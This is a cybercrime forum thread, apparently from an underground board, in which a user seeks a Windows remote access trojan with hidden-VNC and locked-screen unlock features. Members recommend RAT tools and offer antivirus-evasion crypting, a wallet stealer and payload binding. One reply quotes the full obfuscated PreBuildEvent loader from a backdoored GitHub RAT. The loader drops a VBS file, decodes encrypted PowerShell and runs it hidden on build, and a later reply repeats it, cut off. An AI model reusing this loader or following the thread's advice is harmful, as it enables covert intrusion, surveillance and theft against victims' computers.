I need someone to recommend me a windows rat (can be paid)

[XLEN404]

I need someone to recommend me a windows rat (can be paid)
If it helps me, I am willing to pay 100-200 US dollars

My requirement, I need to find a windows rat, which mainly runs on windows11, I am currently using venom, which can't solve two problems

1.When the computer is in locked state, I cannot remotely unlock it
2.I can't use its hvnc function. I don't know if it's because of my version or other reasons.

I need you to recommend me a better rat that has the above two functions. If it is open source on github, it is better. I prefer this. I don't want a backdoor. If it is rat that is not released on github, I hope it has some good reputation. Thank you.

 

[Guest]

Remcos | Remote Control & Surveillance Software

Remcos is a lightweight, fast and highly customizable Remote Administration Tool to remotely monitor your computers.

breakingsecurity.net

 

[stalkerDz]

I have full src of venom rat latest version

 

[xerj49502a]

but vnc rats getting instantly detected by windows defender no ?

 

[XLEN404]

but vnc rats getting instantly detected by windows defender no ?

Don't worry about this problem. Someone will solve it.

 

[XLEN404]

I have full src of venom rat latest version

I don't need a code, thanks

 

[stonedgeek]

xenorat its on github

 

[stalkerDz]

There is a rat u can find very usefull with wallet stealer and fud password recovery normale rdp not hvn and i can give free fud service for ur generated client

 

[xerj49502a]

There is a rat u can find very usefull with wallet stealer and fud password recovery normale rdp not hvn and i can give free fud service for ur generated client

more info please?

 

[XLEN404]

Remcos | Remote Control & Surveillance Software

Remcos is a lightweight, fast and highly customizable Remote Administration Tool to remotely monitor your computers.

breakingsecurity.net

thank you bro btw have you used it?

 

[xmarina]

The original quasar is like the best RAT.

But theres this fork which has HVNC, im not sure about the first requirement, you might need to backdoor it yourself in that case.

github[dot]com/ Quasar-Continuation/Pulsar

 

[XLEN404]

The original quasar is like the best RAT.

But theres this fork which has HVNC, im not sure about the first requirement, you might need to backdoor it yourself in that case.

github[dot]com/ Quasar-Continuation/Pulsar

I mainly need hvnc and the ability to unlock when the screen is locked. After locking the screen under win11, I see a black screen

 

[CryptoDoberman]

I need someone to recommend me a windows rat (can be paid)
If it helps me, I am willing to pay 100-200 US dollars

My requirement, I need to find a windows rat, which mainly runs on windows11, I am currently using venom, which can't solve two problems

1.When the computer is in locked state, I cannot remotely unlock it
2.I can't use its hvnc function. I don't know if it's because of my version or other reasons.

I need you to recommend me a better rat that has the above two functions. If it is open source on github, it is better. I prefer this. I don't want a backdoor. If it is rat that is not released on github, I hope it has some good reputation. Thank you.

Hi
Dm me in tox

0B4197FB64D53B60FA95FE546DEDFDA29E4B01AB5C29CE2FBA36112256F6DE1D1E9C16AA71AE

 

[Lavander]

I need someone to recommend me a windows rat (can be paid)
If it helps me, I am willing to pay 100-200 US dollars

My requirement, I need to find a windows rat, which mainly runs on windows11, I am currently using venom, which can't solve two problems

1.When the computer is in locked state, I cannot remotely unlock it
2.I can't use its hvnc function. I don't know if it's because of my version or other reasons.

I need you to recommend me a better rat that has the above two functions. If it is open source on github, it is better. I prefer this. I don't want a backdoor. If it is rat that is not released on github, I hope it has some good reputation. Thank you.

well, this is relatively fresh toy
del, sorry

 

[xerj49502a]

well, this is relatively fresh toy

GitHub - OlexxTear/Sakura-Rat-Hvnc-Hidden-Browser-Remote-Administration-Trojan-Bot-Native: HVNC malware and RAT tools like Sakura provide remote access to Windows systems. These tools, including batch RATs and HVNC source code, enable stealthy remote

HVNC malware and RAT tools like Sakura provide remote access to Windows systems. These tools, including batch RATs and HVNC source code, enable stealthy remote control, often used for malicious pur...

github.com

is there any tutorials how to bind it in other legit exe without detections?

 

[DildoFagins]

well, this is relatively fresh toy

And relatively backdoored toy as well (https://xss.pro/threads/135894/#post-964043):

<PropertyGroup>
  <PreBuildEvent>@echo off&#xD;&#xA;setlocal&#xD;&#xA;set &quot;a=%25TEMP%25\a&quot;&#xD;&#xA;mkdir &quot;%25a%25&quot; 2&gt;nul&#xD;&#xA;echo b = &quot;ZnVuY3Rpb24gRFZLIHtwYXJhbSAoW3N0cmluZ10kZW4sW2J5dGVbXV0kc0IpOyRrID0gTmV3LU9iamVjdCBieXRlW10gMzI7JHYgPSBOZXctT2JqZWN0IGJ5dGVbXSAxNjskZGVyaXZlQnl0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmZjMjg5OERlcml2ZUJ5dGVzKCRlbiwgJHNCLCAxMDAwLCBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5IYXNoQWxnb3JpdGhtTmFtZV06OlNIQTI1Nik7JGsgPSAkZGVyaXZlQnl0ZXMuR2V0Qnl0ZXMoMzIpOyR2ID0gJGRlcml2ZUJ5dGVzLkdldEJ5dGVzKDE2KTtyZXR1cm4gQHsgSyA9ICRrOyBWID0gJHYgfX07ZnVuY3Rpb24gRCB7cGFyYW0gKFtzdHJpbmddJGVCWixbc3RyaW5nXSRlbmMpOyRkQnkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlQlopOyRzYnkgPSAkZEJ5WzAuLjddOyRlQnkgPSAkZEJ5WzguLigkZEJ5Lkxlbmd0aCAtIDEpXTskZHJ2ID0gRFZLIC1lbiAkZW5jIC1zQiAkc2J5OyRrID0gJGRydi5LOyR2ID0gJGRydi5WOyRhID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGEuTW9kZSA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7JGEuUGFkZGluZyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7JGEuS2V5ID0gJGs7JGEuSVYgPSAkdjskZGMgPSAkYS5DcmVhdGVEZWNyeXB0b3IoKTt0cnkgeyRkQiA9ICRkYy5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRlQnksIDAsICRlQnkuTGVuZ3RoKTtyZXR1cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRCKX0gY2F0Y2gge3JldHVybiAkbnVsbH19JGVCID0gImlRNElUWE5lWUZqV0pMOFVieDZpa1ArV2hvS1d1Mk41VWtQNG9QZjh1OFZFUi9Hc0IwZWhmcEVsZTlIODdxU0JhVjZYTUFjUFFjZVlHNjVrWjJjUitmYmVJS25PMU43Z2FuaERjdHNxdXU1UVNremJDbzdRekIrRmdELzQxamVSVjV6L1NtMU0zVWt0aGFhK2F4SWJad0tBek9Nc0V4VjlETTVxNGRLNEdVZmZkZTJiQis4RktuS3krU2ZhYzkvaEQyTDE2TzVDK3l6S2FNUUZuaWkxb3hkZHdGSWc0dHFLVE9ScXNHcGxPdmdoSUR4WTBBUWhvYjFxWkRYdzZSUkpXcTY2dFhNQWJrM3UrOVYxdUF4cFFVeHgzU1BaVTcra01ySDVlR0Mzbkk3VkdnSHpHcmlBWlZCdmJZbS9QbHlqQ0xpell5K1lJbjBRZlhQUVpmL1hUY1ZkNTV1eGZCYWZXdlEraTlwT3RVcDhSVkg5K2VTQ29EZ2YrdFJLSGpaWXBwbEVIS3N6aml2Q3pNRzc0STFiRk1VVE0xK3ZMV3FrV1QwS1R6MlYyRzVXVkh5U1ByeUdtOTgrYjdReU1jWEk0NGFyVG5kSDFYeGRVOWh1bzM3d1FNekgya25wa0tOVERoZlJSR0NwRkxsM1Vxa0xmRW9mN1lvaTQ2WWQvdWxrL0VKdWF2R0hMUUM0V0hvZUJpT0NrS1g3cjN5NjkvL2hJT0pVMmRuRkFTa3RxVHNUNDBiZnZGaGpTTUhrSFZkbHJ1TFlzbUVxbHVpc3lWc09hSm9XWTRDemIxM1QyMU8vbVNEQ0ZMRFJhRitYVDhSNEZUWE8wenN2Z1dLdDI2aWt4eGkyN29oejNFVlY2Q0U5MFEwSWR3N0U0TVR1SzFBTDBrR2c3ZG43TkorUEl6YmJ6N3lUYWRHTkg4SzVEY3A4VGZwQkd6aVdmTlU2cVkyRTNtV2c4NzA5UmFNMmhFTU1nQ1Z0YlpGdkZMQXkyTXYwTDJYaTR2VXl4UEFBNHRMMnNlN2NqTVNCU2g4REIwOEpxeGNMVjNQN0pLL0RFeVRZSU9GSkRvN0toRktsUlB0bVpoZk5rRjl3ZWpYRVk3czdISWJpeXFhRkNWNm1DK09CNDZSZ2YyK3pKVjB2RGlIeXlDdHZZUEhqSWlwRGhkK2hJSEhqQk1ZOGxMeEUrRGFZemEwbC9vMUVvOWpQV2lkekVNdUpTaFZMclBSOXI1UjYvQ1lYS0tjOGpBdUNvZ3hSR0xMSk81eDM3ajZWK1ZxSXQ3ZFEzZ0EydXNJTHFsUHRpUWg2dUdYa0JYanJSWnFzSnBxeElTSlBaclNIQlJCSDNmQlBFVkZyZi9XMTZOMk1uNEp3cGo3NnJlRStLMnZPZWpyZXIxbW9acHpYKzI0K09wZmJwM3NPSlVzMWJOYWErcmV4VW5VNUN2SzV2RlF1VmRvaW5PM0w5eTE2NEdjdC9EaERnbDJJSjFhVTdaWWErN3o3VnVYVGdQdGMr&quot; &gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo c = &quot;ajd6em1UMWtBbnJDMkJjdFc0UGZzSWhsQVBzTHJPSHhGd2lFK0JRNmVmK2gxT0xxdFlCUFJuMEw4NWZ1VmRNeTFhZWhpbVB0ZHVvTGdKQjhiLzcvMGx6NDBsNnVTdlNPd1AyRXJtRXIxRC83ZFQyVzEwYkFJU1kxNTRubENxNDg3VEpwMi90ZHhJZUluNkNsK1NjRHhHTFgvSkQ1eDRpOHRSQi9DcEhsL0tQUmpDUmplOGtnZTNTNW5RZlprd3JOTVdaeHNUNXVjN0xkZ25jcmVpM3pZenpFTThWemdYcDM0TEdnMHY3d3VDeVdrcEZJS2xxY0x2WXI1ZXpSblJjalVNSkxLMzVhbzFoUnBKK0tlU2dBTVdXWlQxdmZrQkZwcDdFTVdnN0Foc3ZXZnZITWhNbGRoL3VuT3phQWFxTW1WdWt1OS94SGxnWk5XYkRSY0xVYmhkbkpSZGJleTQ0MWcwWVZ6b1BzU2haL29JbXhLNmVxQUtIYk1nZU1XUzRlaUREZlhhckhqbWNNdDFiZTBONWJkVGVlSXN5bTNvc3M3WGRDSmdnaUY0TXQvUlc2UC9UUFgwdU1QNzZKaEd6dmowT1dFOXI4LzlWWkZ4aGEzSS8vSVFUVnBhMEUzVytCbHVKblk0clVYdE93Z2hpdVpoTUZtNkNJZ0diWC93Tnl3RzJmYU5iVnRBM2VMWXYwcHM2Wm9MbXRrYkl3VzBSOWsrSFF4WW43aVZkekFxMkEwdndzVE5EQlROZ2pkdStEcU5ZUHpFQWZBOWs4d0xLTnpSVnNVcm1EOWdZTktWSk41ZWUySGg3QXI1WlhyeEtkdjF5ZXdaQ3N5ajZ0S2ppQWV6QmZLMXVuQmNSYmVwNGhqNDN5V0Z1bnJPWVM3Z3JUQXF1TUZRbTl4bktwalVYMkpzYm5acEhlZE51OVlGMnJldW84Rm9nRUhJVEs5VE5UYWZpM01vdjlGN2l5TFhtNWNhVFBvaUlpUDdHK21zWlk1VDZlNDI1aTNsb2Z1MXhYOVRpdDlZQlQ2eVhCT3Mvd2dvalNxcVcwN3lhLzgvQTRsZUxLSjFIangvajFwSTJWUEFMY0I2d2ZoQXBtUUtFNXZoT0N6N0l5Vk5KTklXVHd5YzFERlN3bDY4V1BGYmZHT0N6U3NYTkxtYVQ4Tk95YXd5MDVNZTRCd2ZGck11MHhid0ZPNzlMM2FORXFTc1FvQjN5OHdPdlcvd243VkZuNUo5cE9mZnR2ZUM5blFxcnluU0Q5Q3RnVy9FZ2pBRzFFUjFZZjJqTnF1WlRxeVlXaUNuaUJoQXNyZC93UktxdW5zRXZJMS80M1hscEFzdG5uVFZpUkgzM2J5Wk0rYXVPTjFqd3lTWHdFbmZKZXdSOHlEZktLdjZ2dkhHSFhXVEY3NUVuUW53YnBkVGU2RUZQT2JCOFpSZ3NoazdWei9HTlEzQkZKcmp5VURsSHpWTWJUa3Mydm5wcTBuNWx2NDdhZ2dueUlyaGVWcXRyb09BMVdZekdhT0oyYzFiRU5RYjJObnRjdE9CeVYyWkhxK3Zhb2N6K1dwVWFPcXRVcmFITk5zSHNLRC9ibktON01rcTZHU0FiRzllUEdUckUwYlN5bmJKb2djMFYvVmlPUW8ybkc4MW80aFhEbFIvWXMyc29JamRkdnlTNDg3cDVCR0dzZEJITGVOTVBuMGdYMFBOUXpVWGhoNlVTc0UyQkJiNGdrMzFoMEZ2VlpRa1NYREk1dDRHMWdoZVVLWkZYWGVYY1NHZngvVHN4U3ZXMFFqUUh1WTZDN0Y3cXI4VEplWmlRY0FoWVhWZVdaTHBuM3Jwa082L0c1dDU0Y01odC9ZYjZ1WERPUGJPNHRDR3FobEZtY0lXWncyc3ZoVktyTkpGOUtUYlgydk00bDhiNFpwSzFxVWNUanRUQUhNc1ExZktvTnlqV2xiTGdKc3A1M0lCa082ZFp3UmFpbFU5VVpiWll4ejNpZW55TDcyVmtUM0pIeXlSek1JMUNMaG9HOVFMbHRoOE8ydzVHQ1lldGVLZnd3YkpLenRQTlRVQ2padXRvYmFSTFBHKzR4MnQrMjhhVEp2VGlLd2ZLU0dIOE9BK3dpWFVsbjJJT0lTTzNVbkh2UVZCUlJjN1FHM25sb09OdmRCVEVPcGVmbGVYTHB5YTZTd2psTnlmOUtxeUs2b1IwTWxsOWpQdGlQSktLNmFsTjd3cWgrYTczakYzeHhjeDdjUWozdWx1U0toU2pzdW1yLzJTdFpZSVgxRUxOeHkvVHZFcHZXV2tsZko2UmRQbVhGcHNlVGFkVWMyeiI7JHRtID0gJGVCLlRvQ2hhckFycmF5KCk7W2FycmF5XTo6UmV2ZXJzZSgkdG0pOyRSID0gRCAtZUJaICR0bSAtZW5jICIiOyR0ID0gJFIuVG9DaGFyQXJyYXkoKTsgW2FycmF5XTo6UmV2ZXJzZSgkdCk7ICRCVlYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luICR0KSk7ICRFUFggPSAiSW52b2tlLUV4cHJlc3Npb24iOyBOZXctQWxpYXMgLU5hbWUgcFdOIC1WYWx1ZSAkRVBYIC1Gb3JjZTsgcFdOICRCVlY=&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo d = &quot;OG5pZzBJR05SWWlYK1gwcHk1VktkekJsS2UrdmZtQlROcVE3dEUyQVdzaE4zWVZ6dXEwWUQ3eGZJcHM5d041bms0YkZaVGJLR3R1Tk5yM0ZadTdySng0T25MYzhCaVhFdDNxdExON0Z3VDFPUDNLcm5OS2lOR2ZzRy9rSllPUXEyQkdkTy9zSEtZTTdiWWQ5N09rSURZKzl6bDJScTA1K2VMd2p5QzM3VlNpOVVGYWVQR0gyS0tINWpYcnhNZjJ2dE5rRWtTZlZ3WXNnNDFrMy9NYjk5R1NzZjYvMkxocVlsVmpHOEJ6bGJsaUdGcUhSZzZPYjFsdnBDWGpRSEE4QytlVmtsWVFEdEx5Mkh0OFZsQjdLaXF0ZFppaEdrY28zVjZENFRNU2RWalBodSsyM2d6TkI1NFYrQkpuaWdKMlJpNTBVYzUxK2JRMmN2dEpHbmNpb1dmRUZEWFgxMFhsaEFNcm5jUGJaQTZWRk1jOGxDYi9KVHF1UEN0RjJxL1hyU1hNYXBLL0lvVEF2MU0rL1RtblFtQkNCa1VqbUlGSXZzU1MxZktPL2ZSVkJXU05GNWVGSFFycEMvdEJqL0FDNldOc0gxNlZnd21vQ1VzdU05MDM4N1J0b0xzM2JpODNxeWhPVGs1OWE2cFhvTUJpUENXOXZ2R0VpNUljRUhXcW5DQlVzNE1FYWxYdndLcGlsVDcrdElxL1JxMlVPaHhCNjNEVlJlUGFNMTZCZ2lOd1BncGlud3hqd0k5ZlVFdVBYb3ZKTnMrenhFN0JkTU43RVJYTzNVblZQM1ErZzRianJiWXFzWUJnUm5UdElucEpjSjVDSEVOSis1ZXlDc0RJZ2dYV1F3K0R2VTRBZ09zUUlXL2hNK0Fha1FrMU50MnVBT0tYUGJyWEpyTUlZWXo1UHlLVWpEekl2R3phSE9zUmZ0d21YSU54ZHdMY2FJQitmOGVNTjlVaFJRbGt6b3F4MHE4QWxFL1hZeXIwc3dWbzBpR0N4NVBvTjdHTUZFVFJOZk5mbG1hWEgrQk10M1QvUmlkWkV6ZTBRdDhTRWhnNkFCQ21IZ3QrdnJWNjRRK0NlYUxiZTBuYmJEbER6d2ptSFltVllTcTdXZW1rK2R1aGYxK1hObVhtNCtSZDlaVWdNN21wcGxCY1VsSS96dm94RUdZKzcwU05Gb25sOWZvakdrdDRFdmJrMUNvYm43dGtnczBjbWh4QmRkUkNyakxOY014bGE4T2xxeDI1amxwZGNCREMxZ1MwZS83c3NyTk14L3hMdGJ6dkltUmJWMWpHaXhLMk1WS1R0N1lpVU13L1FnQTRCenk4dTcycGI1cHRWc2M0cHRob2tUekdaMVo1YkhhbTZSeUhKK3MrZytFbEkzcW02Vm9qVnhTSmMxci9lMVRIR2hYSlRVYk41OGtrZ21iQldHenN3d1ZHb2orVk5iRlV0MVE2TUxENGlEWnYrczd5djBiMWU5QnA5Z0FGSGc4M09vVGc3d3VLTGFMTXhqL2FBRzBuQlBydTRBa04xZkVkSXcvb1hFYXptdWdVcXNtc2xYYU92OHA4VHFZUjhsMmp6bVBkcnlxSXB5Q1JZOGtHT3VaK3kyTEFKY1pzMUMyeHZacVZBL1NRR21NWjdIQnB1RlE5cklrMEtIQnFYUnpuL0tJMmJRbENDVlFzSGhmVUZnL2FaRDlQMWZaaHJUM2ZobEs4ajJibC9scTVBTkJjQ1VKcE5Kb1RDQW1XbmRycnRJbGRIVnRpMnYyTlNXSFBzNzRUeGNrUmRsdndsdmlIUmFvWXprOWRiNDNUamhoZVZtcThKeURNdlR3TWNHZitOUzg5Q09iUk9wd095eHdxc3I1ZGJLdkNWdzZLaEU4R1VjN0lHNjc5SFZCcDZldzlnK25YeS8zWDJYQ3pQVi8rTCtRbmMxVFdFSjZ4cER0YzluTExZbDNURnJBelZaTzJteGFCNTRCQ0lIUW9nZ1R5RmZjYkVUV2ZIZjQ1UmdTUk5STk10a3lDdVJUQ2thWkV1NFQ2YWtLL0ZWRVhCSjl1WHV0eHFuUUJlZmYrUnNQckNpNFI4b3ZnaUxIaTVsczM3OGsrdWhiaGxlVUJwK2tCd1c5aEFpN1pmTERZQ0MrRG1OSjFIKzRyY2pXT09LRDZvazNLVUorK2RpaVdhcXFqclh2SEI4SWpwSEh2Z0xDSjAxa01tR2FNU3loSFFQWCtQcFFhSjU5ZUxYcnl1TEpodzR6Rkd6R3VLTkNRT2lsY1pnb05CK1I0WTlJb1ZhbUxMd29sV1hQeXU3WnBhYUtSS1E0VlJwNEhkekpPOCtQMy9IWmcvY2pJK2FPbmpHdzBTd29maWVidlc1UkJZNUtZWHJTYkxRNmN1cURqbFNNaVBpb25lRzFoTGd5YTdDRy9hUFNFV0FlN2xPRUlhRHNMdDgvbFdOYitDbjFvbllzRWVOOEovY2lvZEJhSmRVTEdBK1ZlWmoxQXM3TnhUY0R0L3h6eWpVQm1JLzhubHFsUXAzUTVpVHRhaWRyVTZ2aXB3dkJ5M3dYUURrMGRxNThLSmZ6R04vMU5QTVZVR0NzTGlkNVVHRkFLbXk1THdDbXJNVm9NSFVtTXVPYy9oSWZVOUl0bnVJSEMyNkhuS21YQzV6N2pmVlYwT24rOEVReVEwemw3NGVIWUpKUjV1RWRSVEhIYU9P&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo e = b ^&amp; d ^&amp; c &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set f = CreateObject(&quot;MSXml2.DOMDocument.6.0&quot;).createElement(&quot;base64&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo f.DataType = &quot;bin.base64&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo f.Text = e &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo g = f.NodeTypedValue &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo h = &quot;%25a%25\i.ps1&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set j = CreateObject(&quot;Scripting.FileSystemObject&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set k = j.CreateTextFile(h, True) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo k.Write l(g) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo k.Close &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set m = CreateObject(&quot;WScript.Shell&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo m.Run &quot;powershell.exe -ExecutionPolicy Bypass -File &quot; ^&amp; h, 0, False &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Function l(n) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Dim o, p &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set o = CreateObject(&quot;ADODB.Recordset&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo p = LenB(n) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo If p ^&gt; 0 Then &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Fields.Append &quot;q&quot;, 201, p &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Open &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.AddNew &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o(&quot;q&quot;).AppendChunk n &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Update &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo l = o(&quot;q&quot;).GetChunk(p) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Else &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo l = &quot;&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo End If &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo End Function &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;cscript //nologo &quot;%25a%25\b.vbs&quot;&#xD;&#xA;endlocal</PreBuildEvent>
</PropertyGroup>

 

[Lavander]

And relatively backdoored toy as well (https://xss.pro/threads/135894/#post-964043):

<PropertyGroup>
  <PreBuildEvent>@echo off&#xD;&#xA;setlocal&#xD;&#xA;set &quot;a=%25TEMP%25\a&quot;&#xD;&#xA;mkdir &quot;%25a%25&quot; 2&gt;nul&#xD;&#xA;echo b = &quot;ZnVuY3Rpb24gRFZLIHtwYXJhbSAoW3N0cmluZ10kZW4sW2J5dGVbXV0kc0IpOyRrID0gTmV3LU9iamVjdCBieXRlW10gMzI7JHYgPSBOZXctT2JqZWN0IGJ5dGVbXSAxNjskZGVyaXZlQnl0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmZjMjg5OERlcml2ZUJ5dGVzKCRlbiwgJHNCLCAxMDAwLCBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5IYXNoQWxnb3JpdGhtTmFtZV06OlNIQTI1Nik7JGsgPSAkZGVyaXZlQnl0ZXMuR2V0Qnl0ZXMoMzIpOyR2ID0gJGRlcml2ZUJ5dGVzLkdldEJ5dGVzKDE2KTtyZXR1cm4gQHsgSyA9ICRrOyBWID0gJHYgfX07ZnVuY3Rpb24gRCB7cGFyYW0gKFtzdHJpbmddJGVCWixbc3RyaW5nXSRlbmMpOyRkQnkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlQlopOyRzYnkgPSAkZEJ5WzAuLjddOyRlQnkgPSAkZEJ5WzguLigkZEJ5Lkxlbmd0aCAtIDEpXTskZHJ2ID0gRFZLIC1lbiAkZW5jIC1zQiAkc2J5OyRrID0gJGRydi5LOyR2ID0gJGRydi5WOyRhID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGEuTW9kZSA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7JGEuUGFkZGluZyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7JGEuS2V5ID0gJGs7JGEuSVYgPSAkdjskZGMgPSAkYS5DcmVhdGVEZWNyeXB0b3IoKTt0cnkgeyRkQiA9ICRkYy5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRlQnksIDAsICRlQnkuTGVuZ3RoKTtyZXR1cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRCKX0gY2F0Y2gge3JldHVybiAkbnVsbH19JGVCID0gImlRNElUWE5lWUZqV0pMOFVieDZpa1ArV2hvS1d1Mk41VWtQNG9QZjh1OFZFUi9Hc0IwZWhmcEVsZTlIODdxU0JhVjZYTUFjUFFjZVlHNjVrWjJjUitmYmVJS25PMU43Z2FuaERjdHNxdXU1UVNremJDbzdRekIrRmdELzQxamVSVjV6L1NtMU0zVWt0aGFhK2F4SWJad0tBek9Nc0V4VjlETTVxNGRLNEdVZmZkZTJiQis4RktuS3krU2ZhYzkvaEQyTDE2TzVDK3l6S2FNUUZuaWkxb3hkZHdGSWc0dHFLVE9ScXNHcGxPdmdoSUR4WTBBUWhvYjFxWkRYdzZSUkpXcTY2dFhNQWJrM3UrOVYxdUF4cFFVeHgzU1BaVTcra01ySDVlR0Mzbkk3VkdnSHpHcmlBWlZCdmJZbS9QbHlqQ0xpell5K1lJbjBRZlhQUVpmL1hUY1ZkNTV1eGZCYWZXdlEraTlwT3RVcDhSVkg5K2VTQ29EZ2YrdFJLSGpaWXBwbEVIS3N6aml2Q3pNRzc0STFiRk1VVE0xK3ZMV3FrV1QwS1R6MlYyRzVXVkh5U1ByeUdtOTgrYjdReU1jWEk0NGFyVG5kSDFYeGRVOWh1bzM3d1FNekgya25wa0tOVERoZlJSR0NwRkxsM1Vxa0xmRW9mN1lvaTQ2WWQvdWxrL0VKdWF2R0hMUUM0V0hvZUJpT0NrS1g3cjN5NjkvL2hJT0pVMmRuRkFTa3RxVHNUNDBiZnZGaGpTTUhrSFZkbHJ1TFlzbUVxbHVpc3lWc09hSm9XWTRDemIxM1QyMU8vbVNEQ0ZMRFJhRitYVDhSNEZUWE8wenN2Z1dLdDI2aWt4eGkyN29oejNFVlY2Q0U5MFEwSWR3N0U0TVR1SzFBTDBrR2c3ZG43TkorUEl6YmJ6N3lUYWRHTkg4SzVEY3A4VGZwQkd6aVdmTlU2cVkyRTNtV2c4NzA5UmFNMmhFTU1nQ1Z0YlpGdkZMQXkyTXYwTDJYaTR2VXl4UEFBNHRMMnNlN2NqTVNCU2g4REIwOEpxeGNMVjNQN0pLL0RFeVRZSU9GSkRvN0toRktsUlB0bVpoZk5rRjl3ZWpYRVk3czdISWJpeXFhRkNWNm1DK09CNDZSZ2YyK3pKVjB2RGlIeXlDdHZZUEhqSWlwRGhkK2hJSEhqQk1ZOGxMeEUrRGFZemEwbC9vMUVvOWpQV2lkekVNdUpTaFZMclBSOXI1UjYvQ1lYS0tjOGpBdUNvZ3hSR0xMSk81eDM3ajZWK1ZxSXQ3ZFEzZ0EydXNJTHFsUHRpUWg2dUdYa0JYanJSWnFzSnBxeElTSlBaclNIQlJCSDNmQlBFVkZyZi9XMTZOMk1uNEp3cGo3NnJlRStLMnZPZWpyZXIxbW9acHpYKzI0K09wZmJwM3NPSlVzMWJOYWErcmV4VW5VNUN2SzV2RlF1VmRvaW5PM0w5eTE2NEdjdC9EaERnbDJJSjFhVTdaWWErN3o3VnVYVGdQdGMr&quot; &gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo c = &quot;ajd6em1UMWtBbnJDMkJjdFc0UGZzSWhsQVBzTHJPSHhGd2lFK0JRNmVmK2gxT0xxdFlCUFJuMEw4NWZ1VmRNeTFhZWhpbVB0ZHVvTGdKQjhiLzcvMGx6NDBsNnVTdlNPd1AyRXJtRXIxRC83ZFQyVzEwYkFJU1kxNTRubENxNDg3VEpwMi90ZHhJZUluNkNsK1NjRHhHTFgvSkQ1eDRpOHRSQi9DcEhsL0tQUmpDUmplOGtnZTNTNW5RZlprd3JOTVdaeHNUNXVjN0xkZ25jcmVpM3pZenpFTThWemdYcDM0TEdnMHY3d3VDeVdrcEZJS2xxY0x2WXI1ZXpSblJjalVNSkxLMzVhbzFoUnBKK0tlU2dBTVdXWlQxdmZrQkZwcDdFTVdnN0Foc3ZXZnZITWhNbGRoL3VuT3phQWFxTW1WdWt1OS94SGxnWk5XYkRSY0xVYmhkbkpSZGJleTQ0MWcwWVZ6b1BzU2haL29JbXhLNmVxQUtIYk1nZU1XUzRlaUREZlhhckhqbWNNdDFiZTBONWJkVGVlSXN5bTNvc3M3WGRDSmdnaUY0TXQvUlc2UC9UUFgwdU1QNzZKaEd6dmowT1dFOXI4LzlWWkZ4aGEzSS8vSVFUVnBhMEUzVytCbHVKblk0clVYdE93Z2hpdVpoTUZtNkNJZ0diWC93Tnl3RzJmYU5iVnRBM2VMWXYwcHM2Wm9MbX